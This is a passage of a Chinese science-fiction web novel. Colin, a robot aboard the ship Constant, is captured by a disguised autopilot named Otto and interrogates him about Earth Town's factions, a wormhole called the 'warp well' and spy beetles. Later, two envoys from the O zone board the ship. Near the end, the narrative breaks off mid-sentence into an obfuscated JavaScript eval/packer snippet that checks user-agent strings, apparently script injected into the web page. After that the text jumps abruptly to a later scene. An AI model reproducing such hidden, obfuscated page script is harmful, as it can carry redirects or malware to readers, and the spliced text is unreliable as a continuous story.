“这个需要我们回去慎重考虑再给予答复。”卡尔中尉回应。“这不是简单的问题。我想地球镇人应当有足够的耐心等待吧?” 如果科林能笑,他听此应当会嘴角上翘。动荡出伟人。目前卡尔中尉非常适应常量号价值观,工作也很顺利,后续磨合应当不会出特别大的岔子。 上线的机器人绿标突然少了4个。这几天都没有减少过的上线机器人数目让科林立刻留意到了异常。他检查了一下那4个机器人,发现就是刚刚他派到S-0086房间收拾的几个机器人。他们下线的地点就在房间周围,而且下线时间出奇一致。 通道里并没有什么声响。科林立刻警觉起来。他加紧了向后扫描,结果发现了一个人类特有的红斑。他立刻自前臂弹出这两天装上的激光武器并对其充能。回头,走廊转角站着一个短发女人,戴着一副巨大的红色护目镜。她手中的武器正对准自己。 科林来不及多想,立刻举枪向女人发射激光,他没有打中女人要害,但是讶异地发现激光在她手上弹起金属火星。他迅速向后撤退,但条件太不利了。他依然处于狭窄的通道中,而且后方离出口有一段距离,并无空间给他躲藏。那个女人在科林射击同时,矫健异常地立刻回撤在拐角处,激光烧灼在拐角的舱壁上,溅出点点火星。随后她再次探出,也对他身后发射了什么东西。科林见此,立刻向前一跃,让他接近女人同时,也远离了出口。 射击到身后的那个东西非常安静,既没有爆响又没有闪光,无需击中目标的射击特征让科林立刻意识到那是干扰源。这一跃让他毫发无损,得以大致估算出这个干扰弹的干扰半径。科林在跳跃空中,又向刚刚探出对自己射击的女人手臂发射激光。激光再度击中女人手臂,她连连后撤,但脸上毫无表情,根本没有人类疼痛应该有的反应。 这个女人是什么人?科林愣了一下。手臂上因激光溅起的金属火星、异常的矫健与无畏伤害的态度让科林开始怀疑对方的身份。她的体温是人的体温,可能穿了装甲才不会被激光击伤。但这个人显然与前一批人大不一样,一个人足以对常量号造成足够的威胁。认清女人威胁后,科林不再予以警告性射击,而是直接将激光枪对准了这个女人的胸膛。即使以前在模拟作战系统中,他也花了很长时间才能毫无顾虑地将武器对准人类要害。 他并没有贸然接近追击女人。人类能毫无顾虑使用干扰弹,遭殃的是他。出乎科林意料的是,希腊女人并没被他的威胁吓退,反而重新从拐角冲了出来。女人另一只手上也多了一把枪,又是没有对准银色机器人的要害,就连发数弹,随后又立刻退回到通道墙后。 那些拖着尾巴的东西自枪□□出后,竟然迅速改变了弹道,齐齐径直朝他而来。微型导弹!科林暗自吃了一惊。导弹速度太快,他立刻扭头而逃,同时激光枪充能完毕,他边逃对准这些微型导弹射击,企图在拉开距离同时将这些微型导弹破坏掉。但他太迟了。即使激光枪已经在发射一开始击中并破坏掉其中两个微型导弹,他刚逃出两步,猛然感到自己被什么东西接连击中。不过一两秒,一种剧烈的刺痛立刻自后背外壳直穿到前胸,有一瞬间他感到自己的内置电源罢工了。下一秒,他发现自己已然摔倒在地,不知躺了多久。剧痛依然贯穿躯体,科林挣扎着举起不听使唤的手臂,顶着时断时续的意识,艰难对准那个折角。敌人还没出来,准星如同醉酒之人乱晃。 内置元件在高压电下不断闪灭,他不得不顶着剧痛靠在通道边上,以防一个不留意,好不容易举起的枪又离开目标。“……□□——大爷!”他咬牙切齿吼道,期望以此冲淡令他窒息的剧烈刺痛。他听到自己破碎的电子合成音,“——有种倒是出来……啊你这个……狗娘养的……” 在科林极度痛苦同时,他已经对全体常量号机器人发布了攻击警报。他知道不久之后一定有援军堵在这段通道的来路与去路上。不知是真实或是幻觉,疼痛开始减轻,但给内置元件造成的影响远未结束。到处都不听使唤,连站起来都是奢望。他伸出颤抖的机械手,挣扎着想抠在墙上的缝隙里,一点一点将自己拉回出口。他豁出去了,将枪对准拐角的墙壁,接连不断的激光切割在墙壁上,但无法定焦在一个点。墙壁火星四溅,被激光烧灼的区域变得橙红。 那个女人再度露面。科林立刻将激光切到她身上,但女人敏捷地只出现一瞬,躲避了他的激光。这次,她又对准他发射了什么,但显然不再是导弹。科林立刻向一边滚去,只感到一闪——他什么东西都没看到,闪光似乎来自大脑深处——接踵而至的是天旋地转。他只意识到这是干扰弹,CCNS提示他舰员救兵正在集中,随后一切都陷入了黑寂。 待到干扰源结束使命,西芮安这才从拐角冲出。刚刚让这个家伙挣扎太久,果然047第一时间就给其他成员发了警报。但她没有多想,金龟子信息网已经提示他众多救兵都在朝这里集中。她扛起047沉重的躯体,立刻回撤到通道中。回到泊脚显然不再现实,但她仍然能回到S-0086房间。在干扰弹尚充足之时,她也能在一定程度上阻挡机器救兵接近。这艘飞船上的舰员似乎钟爱激光武器。随着机器救兵越来越近,留给西芮安的选择也越来越少。 通道中,一个身穿紧身皮衣的矫健希腊女人戴着巨大的红色护目镜,背着与她身形体力不相符的银色猎物疾速行进。西芮安已经知道常量号的机器人在接近她了。无处不在的工程通道让她很难大展身手。干扰弹对工程通道起的作用不大,而且非常容易误伤自己。 当她来到S-0086房间门口时,西芮安发现原先被干扰弹震下线的几个机器人都消失无踪,房间门已经关上。甲虫不能监控到工程通道内机器人的速度。她警觉地望向四周,一个机器人都没有,非常安静,周围的气氛也变得异常压抑。 他们都在工程通道内看着自己。 她没有在S-0086房间门口停留多久,而是继续往回撤退。就在她重新迈出第一步时,通道天花板上传来轻微的咔哒声。抬头,前面一处天花板伸出一排枪口,身后也不例外。充能声提示那是激光武器。同时,她不知道通道内有无对付机器人的干扰源。 西芮安停下。她脸上没有任何表情。她缓缓将科林放在地上。随后举起双手,没有拿任何武器。 “跪在地上。”上面的机器人没有开火,用的是人类语言。“手扣在身后。” 西芮安照做了。上方飞出来一个机器人。它发射一道红色的力场,将她的双手禁锢在内。随后它对西芮安进行了扫描。 “老天。”那个飞行机器人眯起LED眼灯,她也听到其他机器人传来微弱的惊呼。他们看着科林,又接连扫描她。“原来你是机器人。你是……你是公理号的自动驾驶。” 听此,她竟然微微一笑。看来科林和电脑并没有把她的真身认出来。 “起来跟着走。”剩下的机器人飞出来几个,押送西芮安前行。躲藏在通道内的机器人也终于出现,将仍失去意识的科林放在MVR-A机器人上,送至维修区检修。就在这时,希腊女人突然开口了。 “等一下。”她说。所有的机器人停止了前进。“你们知道怎么维修被干扰源震伤的探索者吗?” “操作面板上按下重启即可。”前面一个机器人漫不经心回答。 “探索者没有开关。你怎么重启?”西芮安冷冷地说。 “那是维修机器人的事,现在少废话,跟我走。”那个机器人开始不耐烦。两边的飞行机器人用机械肢顶了顶她的双臂,示意继续向前走。 “如果你们将他接入电脑,会发现什么都没有。”希腊女人边走边说。“这样激活他也成为奢望。他于你们将一点价值都没有。然而我有办法解决这个问题。” “你在讲睡美人的笑话吗?”那个机器人反问,周围爆出一阵细微的电子窃笑。“我们可不吃这一套,赛博靓女。” “那么,你们会把我带到哪里?”西芮安问。“我会被处决吗?” “禁闭室。在此之前,你身上的花哨玩意都得没收。”飞行机器人继续说。“处决不处决得看老大的意见。” “该说的都说了。”西芮安冷冷说,“我能解决他无法接入电脑的问题。我也能解决他的重启问题。这里也有非常有效的情报。交换条件是,不要向地球镇透露我的存在,如果透露了,那是你们自讨苦吃;而且,我需要与他面对面交谈。”她朝躺在MVR-A上的银色躯体抬了抬下巴。 “掰扯这么多,净是些废话。”飞行机器人嗤之以鼻。“就这样还面对面交流,想得美。” 西芮安没有回应。 她被带到维修区内,扣上了故障环。对平常机器人均起效的故障环在她身上唯独不起效。戴着红色护目镜的女人泰然自若望着周围惊诧的维修机器人。 “我猜你们要把我接入电脑强行关闭。”希腊女人说。“真的?不怕地球上的奇怪电脑病毒吗?” 他们当然没有尝试将陌生的机器人接入自己的电脑。只得硬着头皮,在严格监视下卸去她的武装。 “现出原形吧。”维修机器人说。 西芮安示意自己双手被束缚着无法活动,当然没有获得自由许可。 维修机器人重新仔细扫描过西芮安,终究找出伪装成腰包的小盒子。它按下那个仿佛纽扣的触钮,拟装消失了。拟装消失后他们继续扫描,发现没有扣在拟装下的武器。维修机器人摆摆机械肢,让他们把入侵者带出维修区。临走前奥托看了一眼维修区远处,那个探索者一动不动。他们正打算将科林接入电脑检查。飞行机器人牵动力场,他被押走了。 29. 二十四(2) 奥托呆在禁闭室里,外面有两个机器人看着这个牢房。房间内什么都没有,墙上甚至没有插座或操作面板,只有无形的监视线盯着他的一举一动。常量号的两个机器人害怕这个探索者还有什么花招,将他盯得很牢。然而出乎他们意料,这个探索者头也不抬,只坐在房间中央,甚至降下了镜头的遮光板,仿佛睡着一般。这种反常的举动更让他们摸不着头脑。 虽然不断有一批一批的昆虫大军涌入常量号代替原先逐渐耗竭的昆虫之眼,但他不能保证常量号什么时候才会发现这些昆虫的蹊跷。他外表看上去安静得像睡着了,实际上,奥托正通过昆虫身上携带的微型设备监听常量号舰内的一举一动。一群机器人开始涌入常量号主登舰平台,常量号很可能会开放登舰平台。下一批昆虫监听者将有机会涌入。 飞船另一头,一个GO-4机器人正焦灼不安地乱转。从监听而得断断续续的小机器人尖厉而焦躁的电子语言中,奥托大致了解到这艘船的舰长将要回来,而且他们已经发现科林无法接入电脑的事实。显然,被干扰弹震伤的探索者也无法这么快重启。而他们似乎都认为,科林被干扰弹攻击后,彻底损毁概率很高。 大佬仍在与维修区机器人争吵。甲虫大军尚未布置在舰桥,但奥托从碎片般的线索与大佬的只言片语还是提取出了前因后果。他们已经没有机体供科林维修,轮形都损坏光了。如果这个躯体损坏,就算换芯片,就算有备份,科林也难以履行原先的职责。 刚刚这些机器人虽然把他的武装也卸去了,但并没有动他的子空间和拟装系统。那块珍贵的光片还在里面。很久没有这样轻松的时候了。他在一旁兴味盎然地听着一群焦头烂额的可怜虫瞎转悠,思考他们需要多久才能想到之前他所提供的线索。 维修区机器人不胜其烦,大致终于在CCNS内询问了刚才押送奥托的那几个机器人有关的其他事情。奥托通过飞虫听得正起劲,正思考他们是如何想到要找押送那批机器人,突然,牢房内传来机器人的电子语言。 “是否如你所说,你有解决探索者机型与电脑联机方式?” 奥托重新打开遮光板,圆形的红色光芒幽幽亮在暗室内。如果没有接下来的任务,他大概会对常量号机器人的反应时间感到失望。再长一点才好玩。 “是的。”他说。 “如何证明?”那个声音中透着显而易见的警觉与急躁。 “送个终端过来让我亲自演示。”奥托平静说。 那个声音沉默了。不久后,外面传来声音。闸门打开了。看门的机器人立刻给他罩进红色固定力场内。随后另一批机器人搬着一大堆东西进来。奥托冷静地观察这些东西。除了终端,还有固定他用的禁闭架,看起来和之前在O区的测试钢椅如出一辙。 “这么大阵仗?”奥托不合时宜地吐出一句,换来常量号机器人的一瞥怒视。 他很配合地被固定在禁闭架上,和测试钢椅的固定如出一辙。几乎全身都被包裹在力场中,只留两只手仍腾出在外。键盘也摆在他面前。接下来,周围的常量号机器人围着他一周,从各个角度盯着他的动作。 奥托开始输入驱动内容。他知道那边一定有人在接受与检测。关乎信任,他倒是不会往里面加恶作剧代码。但他也没有将驱动全部内容输入进去,仅仅定位了探索者电子脑中两个无关紧要的区域。随后他停手了。 “这就是我在这里能提供给你们的东西。”奥托说。“如果你们确定我给的情报没有问题,但是远远不够用,剩下的若还有需要,我得与你们的自动驾驶面对面交流。” “还有其他条件吗?”房间里传出原先那个机器人的声音。 “反正你们已经解除了我的武装。所以等你们的探索者恢复后,我需要和他单独谈谈。”奥托说。“监视,给他装上武器,随你们便。但是得在一个房间内面谈。剩下的条件取决于那个房间。有缺什么我会告知,你们自然能够判断是否合理。” 他继续在房间内安静地等待。重新降下遮光板全神贯注于昆虫监听。维修室里嘈杂不已,似乎在争论是否应当安装这个驱动。最后维修室里静谧一阵,紧接着爆发出惊呼声。十几分钟后,那个机器人终于告诉他可以前往维修室。 那些机器人推着禁闭架出了禁闭室。他如愿以偿被推到那具银色躯体面前。他们继续给他弄了一个独立的终端,以防任何可能的病毒流入常量号主电脑。 “已经如你愿了。”说话的是一个警卫机器人。“如果你想耍花招,我们随时都可以撤回条件。” “关乎救命,你们不敢。”奥托回答。 “不妨告诉我们,你将如何救活他?”旁边一个维修机器人插话。 “这是机密。”奥托简短回应。 他们盯着奥托输入驱动剩下的全部内容。检查过病毒后,他们再核对了一番,接着半信半疑接入科林。一个庞大的电子脑体系立刻经过全息投影投在他们中央。维修机器人盯着这一切,不由得眯起LED眼。公理号探索者俘虏却在一旁开始袖手旁观。 “然后呢?”维修机器人发现自己正不情愿地挤出这几个字。 “轮到你们了。”奥托说,“我已经为你们扫清障碍,到你们检查了。” “还有呢?”维修机器人不知道奥托葫芦里卖的什么药。 “如果你们检查没问题,实际上,这里已经显现得清清楚楚。”奥托示意没有提示严重错误的全息投影,“那么请兑现你们的承诺。让我和他单独谈谈。” “你这个要求不能实现。”一个警卫机器人说。“根本就没有救活他。” “放轻松。干扰弹炸不死探索者。”奥托说,“这里有一项探索者型号独一无二的指标,即修复度。其他部位伤害修复度超过75%即可自动重启。” 修复度值已达到标准,全息屏上神经网络正一层一层点亮。常量号机器人这才用力场在维修室内造就一个隔离空间,中间隔着一道薄力场,将奥托与科林隔开。奥托没有拒绝。尔后,他要求其他机器人通通离开这个空间。无论他们是否能监听或者在外监视,他都不在意。 奥托被束缚在禁闭架上,静静地看着科林。全息投影上显示所有的神经网络都已经点亮,刚刚银色躯体也自动测试过微小伺服电机的运作。随后他看到,科林抬起一只手捂住了头,发出一丝呻吟,好似忍受剧烈的头痛。他的遮光板重新旋开,似乎好长时间都无法对焦。 等到科林看清薄力场对面束缚在架子上的是谁时,他起身坐在维修台上,正要拔去身上的接线,对面的入侵者开口了。 “不要拔掉。” 奥托说,“待会还有用。” 科林冷冷地看着奥托,什么都没说。他花了一些时间从CCNS内了解到刚刚究竟发生何事,也了解到之前那个希腊女人就是眼前这个探索者。随后,科林默默取消了隔开的薄力场壁。 科林叉着手,向后靠在维修台边缘,“这就是地球人的外交手段?”发声器依旧有些干涩,“连声招呼都不打,第一时间攻击?不愧是退化到零级的文明。” “讲实在的,兄弟,你到底要干啥?”科林一改刚刚的嘲讽,“入侵和攻击理由,找我目的,你的阵营,老实招来。” 奥托听此,嗤笑一声。科林不为所动。 “我本想将你带到O区内,在那边至少我不会那么被动,而且最高效和安全。”奥托说,“但在这里也能基本解决问题。我当然会将所有事情毫无保留告诉你。前提是,你得相信以下我说的都是真话。” “嗯哼。”科林没有多说,仍旧叉着手。 “首先我问你个问题,047。”奥托说,“你们为什么回来?是因为收到了公理号的超远距信号?” 加上之前阿莱茜丝的说辞,科林怀疑奥托很可能仍然不知道常量号与公理号的交涉。看来之前的交流,统统都是精心策划的骗局。 “叫我科林。”科林纠正道。“常量号落地理由对你后面陈述有影响吗?” “实际上没有。我只是好奇。”奥托说。“无论是感召返回与否,你们尽早修船走人。这里不宜久居。” “地球上怎么了?”科林靠在维修床边缘,不动声色问。 “本来这里生态尚脆弱,很可能撑不住大量涌入的殖民者。一开始我就反对他们发信号,但是他们还是发了。”奥托说。“但更令人不安的是,这里有别的东西。我们还不知道他们到底怀有善意或恶意。但他们的存在已经在一定程度上威胁到了我们。” “他们通过一个叫‘折跃井’的虫洞结构与我们交流,从目前资料来看似乎与大逃亡前的遗留项目‘逐梦计划’相关。已经明确地球镇的农业疫情和物种丰富度与折跃井传送来的物质相关,地球镇的科技发展也在一定程度上被折跃井引导。其他的迹象,包括地球镇地质情况可能恶化,地球深空防御工事失效以及误发,可能与他们有关,只不过现在尚不能肯定,因目前发现的唯一一个折跃井未在事发当时活动。”奥托顿了一下,随即正视科林。“听说你们飞船被失控的卫星击落,说不定也是他们作祟。” 科林看着奥托,久久没有回答。阿莱茜丝之前也提过一嘴类似的异常事件组,只不过原因他万万没想到。 “为什么告诉我这些?”见奥托停下来,科林才出声。“我想告诉我这些对地球镇不利。” “我不在乎利或不利。”奥托说,“但在地球上终究不是长远之计,特别是现在。所以,如果你们相信我说的话,选择离开,我用这些情报恳求你们至少一定帮我带走两个孩子,汉·肯特和阿莱茜丝·格兰德。” 如果科林有表情,他一定会扬起一边眉毛。“带走两个孩子没问题。但是——”科林说,虽然他猜到了大致的答案。“你是自动驾驶,为什么你不能自己带走?” “我不再驾驶飞船了,科林。”奥托平静地说,“而且,折跃井让我穿到虫洞另一侧,我能不能回来地球镇,不能肯定。” 科林从维修台上起身,缓缓前倾身子。即使没有表情,他身上流露出不可思议。“……你疯了吗?” “很有可能。所以我不会再驾驶公理号。”奥托似乎预料到科林的反应。随后他接回话题,“我要给你的情报远不止这些。折跃井送来了一份大逃亡前的‘逐梦计划’文件,与我们探索者机型相关,我会给你;全球陨石坑与火山链分布地图也会给你;地球镇概况以及这套全息拟装,全部会给你。”奥托停顿一下。“但在此之前,你得保障必须起飞。” 科林没有回答,而是反问一句:“先告诉我,你在照谁的意思办事?” “我。”奥托平静回答。 “地球镇上有大区和O区,你是属于哪一边的?” “我不属于任何一边。我只代表公理号。” “为什么知道我的位置?”科林继续逼问。他同时在CCNS中告知船员重新检查飞船电脑是否有侵入迹象。 奥托顿了一下。“保证起飞,我就告诉你们为什么。” “哼。”科林嗤之以鼻,同时拔掉了身上的接线。“既然你已经把驱动给我了,那我若将你接入,这些答案统统都藏不住。”他跳下来拿着线指着奥托,“而且,告不告诉我答案又如何,你以为我会放你走吗,双面间谍?” “我的目的很简单。如果你们要重新起飞,我就尽我所能让你们尽快起飞,同时带上这两个孩子走。有余力的话,多带一些地球镇上的人。如果你们不起飞,就没有告知你们这些信息的意义了。”奥托说。“当然,我这样毫无抵抗,你要接入也无妨。只不过,我不清楚我身上残存的小可爱(Cutie, QT)病毒是否会复制到你们电脑内。” 科林震惊地往后退了一步,撞到维修床上。“小可爱?!”他惊呼,“这种病毒不是大逃亡前就绝迹了吗?” “我们走的时候生物都灭绝了,科林。”奥托说,“现在生态恢复根本不是飞船上携带的物种库所起的作用。这是一种全球性的改变,加上已经有一个明确的物质传送源折跃井,小可爱病毒通过折跃井重现并非怪事。” 科林思考了一阵。 “老兄。”科林终于说,“你这些信息,都是对地球镇客观情况的描述,与我起飞与否并无关系。所以你告诉我只能影响到你们地球镇。”科林继续说,“但如果我告诉你我们的未来计划,那就大不一样了。而且你精准找上门来的行为更是加剧了嫌疑。”科林走到奥托面前,盯着被力场紧紧束缚的公理号探索者,“先告诉我你是怎么知道我的位置的。” “既然你如此坚持,我也没必要隐瞒了。”奥托说,“你看看你们飞船里的金龟子,每一个都是忠实的情报员。” 科林猛然想起自己在通道中抓到的那只金属绿色甲虫。想到自己的一举一动都通过甲虫携带的设备传到外界,包括飞船中其他成员的一举一动都不能逃脱法眼,每一个人的动作在金龟子监视下,能拼出整个常量号的行动拼图。科林对此感到毛骨悚然,他立刻自CCNS下令清除常量号内的所有金龟子。 “这些金龟子归谁管?”科林问。 “O区。但是金龟子拓扑信息网也起源于折跃井,很显然折跃井在通过它们观察地球镇的一举一动。”奥托说。“这些甲虫都是拙劣的模仿品,不过能够预想到折跃井可能在用其他生物对我们进行观察,只不过,我们还不知道折跃井在其他生物上有什么观察机制。” “我想接入这些金龟子的不止你一个吧?”科林冷冷说,“说吧。还有谁在通过这些小虫观察我们?” “我不清楚。”奥托说,“我只是要找到你带去O区罢了。” 独眼机器人的镜头中竟然带着一丝怜悯。“可怜。”科林嗤笑道,“哥,你被利用了都不知道。”他摇摇头。 “好了,先告诉我们你那些情报吧。它都是地球镇上存在的事实,我飞不飞,这些事实都存在在那里,我知道也是早晚的事。加上你上来就是为了告知我此事,也没有什么理由拖延了。”科林一转话锋,不再嘲讽,并借用了阿莱茜丝的观点。 在科林监视下,奥托从子空间拿出一个光片。科林让他接入独立终端。终端连着的全息投影仪霎时弹出一个正在缓缓旋转的立体光球,线条组成了大陆的海岸线。其中,红色三角与绿色图案点缀其中。科林留意到淡蓝色光球中间不和谐的几个黑色箭头。 奥托从发现泥浆雨伊始开始讲起,讲到自己如何从泥浆雨发现山脉背后的火山活动,进而发现陨石坑;随后独自出去科考,发现全球地质活动活跃,而且全球深空防御系统似乎已经失效;他继续说出修理撒哈拉深空防御系统中出现的岔子,有证据表明他受到了核弹头影响。光片内的信息借由全息屏一个一个浮在空中,很快琳琅满目布满了整个空间。最后,奥托将逐梦计划投出。 阿莱茜丝和奥托的口径出奇一致。而且资料这么详细,多半是真实的。这需要派出探测小艇核实,但对常量号的未来影响不大。科林边看边想。即便如此,奥托依然没有说出他最想知道的地球镇中大区与O区的分裂情况。 “讲那么多地球镇上的事情,不如谈谈你自己吧。”两个机器人包围在琳琅满目的全息屏中,科林重新退坐到维修床上,叉着手看着自己的囚犯,似乎对奥托刚刚告知的地球信息不感兴趣。“你们为什么回来,你为什么和O区有联系,大区和O区什么关系,都讲讲。” 见此,奥托有一丝讶异。但科林无动于衷的表现让他怀疑,科林是否确实对留在地球上不感兴趣,因此才对“家园”的情况漠然视之。 “因发现地球可能宜居,公理号在2805年降落在地球上。”奥托发现自己依然不想再多提2805年那天的混乱。“直到2950年11月底,我才被重启。2951年3月,我基本修好了公理号主电脑,然后得以更换躯体到地面上。” “此前我一直在大区工作,对大区与O区的分裂态势有所耳闻,但是大区无人愿意告知我具体情况,人与机器人都如此。O区内有严重的信息干扰,未在此区内登记的机器人均会无法联络。除此之外,我对O区的情况并没有多少了解。”奥托说,“发现陨石坑后我曾警告大区人需要避灾预案,但是他们反对飞船起飞,因此拒绝维修飞船。2951年11月底,我因要去O区分析样品,重新进入O区。但我中了圈套。我被逼问我的行为与A113指令的联系或者其他有助于飞船起飞的指令。他们不信任我的回答,让我感染了QT-II型病毒,严重损害我的机能。整整2个月,我都无法正常服役,更谈不上信息获取。后来我知道是大区人给我下的圈套。下套人是谁,为什么下套,我大概能猜出来。但我不能理解为了政治给我下套的这个理由。” “所以说,一开始你是隶属于大区的,结果他们当你是叛徒,把你丢给了O区?” “是的。”奥托平静回答。他在说上述一大段话时冷静异常,那些痛苦全都消散不见,似乎是讲述另一个人的经历似的。 “那么你现在在为O区工作?” “我说了,我不为任何分区工作。我的工作是尽可能快提醒牵涉其中的所有人有关地球的危机,以达到为人类及时止损的目的。” “O区人信任你吗?”科林继续问。 “我不知道。我没有接触到O区高层,其他人都是听命行事。”奥托说,“攻击我的也是他们,竭力抢救我的也是他们。后来只是因为折跃井在O区内,并且折跃井首次主动邀请地球镇的交换,指定交换人是我,他们才对我感兴趣。” “这些人对公理号的态度呢?”科林不动声色继续问。 “这是我一直没有搞清楚的问题。我被重启来修理公理号主电脑,随后发现种种异样时提醒地球镇镇长,却被马上被怀疑有重新起飞的念头。并且在我明确表示目前发送邀请归航并不合适,且为了预防误发而封锁公理号远程信息传输系统后,平民就被拒绝登入公理号。我被注入QT-II也是为了直接获取解除公理号权限矩阵的密钥。”奥托说,“令我费解的是,一开始让我修电脑,却不让我完整修复飞船,在他们了解地球镇危机后依然拒绝修复飞船。虽然当时的理由是可以通过迁出地球镇避灾,决定将公理号完全拆解,但飞船显然是最便捷的避灾后盾,特别针对几乎无法及时避险的陨石灾害。我一直坚持这点。” “所以说,既然他们决定放弃公理号,为何现在又在公理号上戒严?”奥托继续说,“这是大区人的矛盾举动。我在O区的短暂2个月内,没有人对飞船或我本人有任何意见,或许与他们与飞船的距离相关。” “地球镇人的人机关系如何?”科林继续问。 “O区视机器人为工具。为了效率与信任,O区内的机器人被停用部分人性化功能。”奥托说。“大区人类与其他机器人合作尚可,但是我想不会允许机器人参与决策。” 科林沉默了一会儿。气氛一下子安静了。 “你何时得知本舰降落情况,地球历3月4日吗?” “不。昨天,3月6日。”奥托回答。 “能否画一个地球镇辖区范围图?” 奥托接入独立终端,将自己所知画了出来。科林将其与阿莱茜丝与其他地球镇人所绘进行对比,发现大同小异。 “从哪儿出发,点出来。” 奥托点出东面某处,隶属于O区,那里标记着一条暗运河。 “这次登陆常量号,除你之外有协助者吗?” “只有两个O区人。”奥托回答。 “他们知道你会传递这些信息吗?” “理论上知道。”奥托说。“他们也能接入金龟子。” “他们有告诉过你什么告知原则吗?” “我所知的都可以告诉你。”奥托回答。 科林停顿了。他在猜O区人这是玩的哪一出。看来O区人既然如此大胆,说明真实情况可能远远比这个小卒所讲的复杂得多。 “告知我这些信息后,你打算怎么做?”科林接着问。 “进入折跃井。我会想办法将那边的情报传回来,让地球镇和常量号的人有时间反应。”奥托回答,“然后到你兑现承诺的时候了。把那两个孩子接上来。我在进入折跃井前,会通知他们主动找你。” 科林没有立刻接话,继续沉默。 如果真的如EP-003所说,他是能进入久不开放的折跃井中套取情报的唯一一人,想必O区那两个合作者也会对他相当重视,不可能将他留在这里置之不理。坐在维修台上的机器人想。如果白白放他走,那么后续要获取更多资讯恐怕更难。特别是,现在O区不限制奥托说出这些情报,说明奥托所知也非常有限。那么有可能套出更重要情报的人,必定是协助他行动的那两个O区人。 科林想着,两个预案逐渐在他脑中呈现。 “一番苦意心领了。但是就算你将情报全都告诉我,我也不会答应你带那两个小孩上来。”科林站起来,走到奥托身边,低沉说道,“你们的情报大军也会很快被消灭掉。如果因此有动作,虽然听你的意思一点的都不在乎,但就算你反悔,甚至哭天抢地,如果你的上级并不器重你,不来主动找我们,你只有在这里呆到停机的份。” “实际上,我确实不在乎。”奥托说。“未来着急的将是你们常量号和两派地球镇人,或许还有折跃井。没有必要将事情弄得更加复杂。” 科林盯着另一个机器人,虽然他预料到激将法很可能无法在奥托身上起效,但没想到俘虏反客为主开始嘲弄自己。“假如你在常量号上时间过长,会让这两个O区人采取行动,要么与本舰联系要么强行登舰吗?” “会。”奥托回答。“超过6个小时我未回应,他们即会主动联系你们。”奥托说,“方式很可能是通过昆虫网提示。” “还有2个小时。”科林冷冷回答,“我期待你们的表演。” 奥托听此,轻轻嗤笑一声。“如果一开始你被我带到O区内,诸如此类的信任危机可能就不复存在了。”他顿了顿,“看在你是自动驾驶的份上,我将这些信息悉数传递给你。而你与人类一样善于互相猜疑,令我刮目相看。” “这套拟装给你吧。看样子未来你用它的时候将比我多得多。”奥托继续十分平静地说,“它于我已经无用了。” 面对俘虏的极度冷静与从容,最后还有嘲讽,科林感到一股怒气开始翻江倒海,但目前根本不是发火的时候。在没有搞清楚地球镇生态和这个自动驾驶的背景之时,对任何有悖于常识的事件妄下评价可能将会极度危险。 【用他的驱动去证实如下情报真实性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第三次俘虏交换准时进行。交换到半途时,科林发现海上有东西进入到警戒半径内。但它似乎知道这边的俘虏交换行动,只是停在那里,什么动作都没有。科林通过高精度观测,看到上面一男一女两个人,确实没有攻击迹象。他经由CCNS通知舰内开始清理通道,留出南面的待开放登舰口。等待这边交换完毕后,再开放部分力场,迎接那两个人。 他们也很有耐心。俘虏交换完毕后,他们似乎知道常量号这边已经事毕,才继续缓缓接近常量号。他们爬上一个登舰平台,在黑暗中接近周身流动着莹蓝色的新来飞船。然后,他们停下了。 “他们来了。”数十秒后,在禁闭室里静坐的奥托突然出声。 科林开放了那个平台闸口与力场,让他们进到气闸与船舱的缓冲间内。里面已经准备好了椅子。他不打算用任何机器人去迎接。 “说明身份及此行目的。”科林经由舰内广播向这两者提问。 “你只需要知道我们是O区人即可。并且,攻击你们飞船的是大区人,不用再猜测了。”那个女人首先开口,“我们来此是想让你们释放奥托。他会去他该去的地方。我们无意作为间谍。” 舰桥上,科林与卡尔中尉都将缓冲间内的情况看的清清楚楚。“抱歉,地球镇已经透支了它的信用。除非你们有什么值得考虑的交换条件和保证,否则,我们不能冒这个风险。”科林说。 “交换条件是,把大区与O区的历史、O区的立场告知你们。”那个女人说。“保证则是,你们有权利跟踪我们的去向。一旦作出如前几日那样对常量号有威胁的举动,你们尽可以反对我们。” 常量号舰桥没有回应。 “交换条件甚至不止这些。我们愿意与你们合作,愿意为你们提供修船助手。甚至能够告知你们有关折跃井的信息。我知道你们在忧虑什么,你们缺跃迁燃料。正在筹划寻找合成装置。” 最后一句让科林不由得心里一沉。看来常量号的机密已经被昆虫网彻底泄露。 “要是能出卖你们,我们早就出卖了,你们甚至都不会有机会找到跃迁能源合成装置。但是我们不愿意这么做,宁可合作,双方共赢。” 女人继续淡然说道。“如果合作愉快,我们甚至可以将公理号的飞船操作码告知你们。然而,那需要验证信任。当然,一旦合作到这种程度,我们也有所求。所求即是,与我们站在同一战线,让部分O区人编入常量号舰员,同时部分常量号舰员编入公理号。” “好好考虑吧,常量号人。”女人从容说道。她拿出一个光片,轻轻放在缓冲间的桌面上。“你们是愿意在地球上孤立无援好,还是至少拥有一个盟友,这笔账我想你们会算。” 科林让机械臂回收了光片进行解析。地球镇的分裂态势跃然屏上。O区内的屏蔽情况也相应弹出。 许久过后,常量号舰桥回复了。 “同意请求。但是需要进舰进行追踪标记。”科林说,语调有点生硬。“一旦自行取出追踪标记或发现间谍行为,将会导致死亡。” 他们从容地走进常量号,在常量号机器人押送及监视下,接受了追踪器的植入。 不知过了多久,小艇重新自流动莹蓝色的泊海飞船南面驶出,悄然飞渡在深夜海面上方。它绕过东面的公理号,隐入东北海岸的运河中。 “醒醒,汉。”少年被一个陌生的声音叫醒。他眯着眼坐起来,朦胧中看到面前站的人似乎有些眼熟。一种惊讶贯穿他那尚不清醒的大脑。他不信任自己似的眨了眨眼,再度确认自己的确没有看错。 他眼前站着的,是那天他看到的希腊女人。此时她的伤已经完全好了,深色眼睛正冷静地盯着少年。这种冷静又让他感到非常熟悉。“你……你是谁?”他有点紧张,“我……你……认识你吗?” “西芮安。你认识。”那个女人从容说。“米勒夫人在外面等你,是时候前往常量号了。” 少年茫然地盯着西芮安。随后低下头。“我见过你。”他不敢正视女人,震惊仍然在他胸中回荡。“那天我路过生命科学楼时,看到你躺在悬浮担架上。你好像受伤昏迷了,腿上都是血。你长得很特别,让我记住了,但我真的不认识你。” 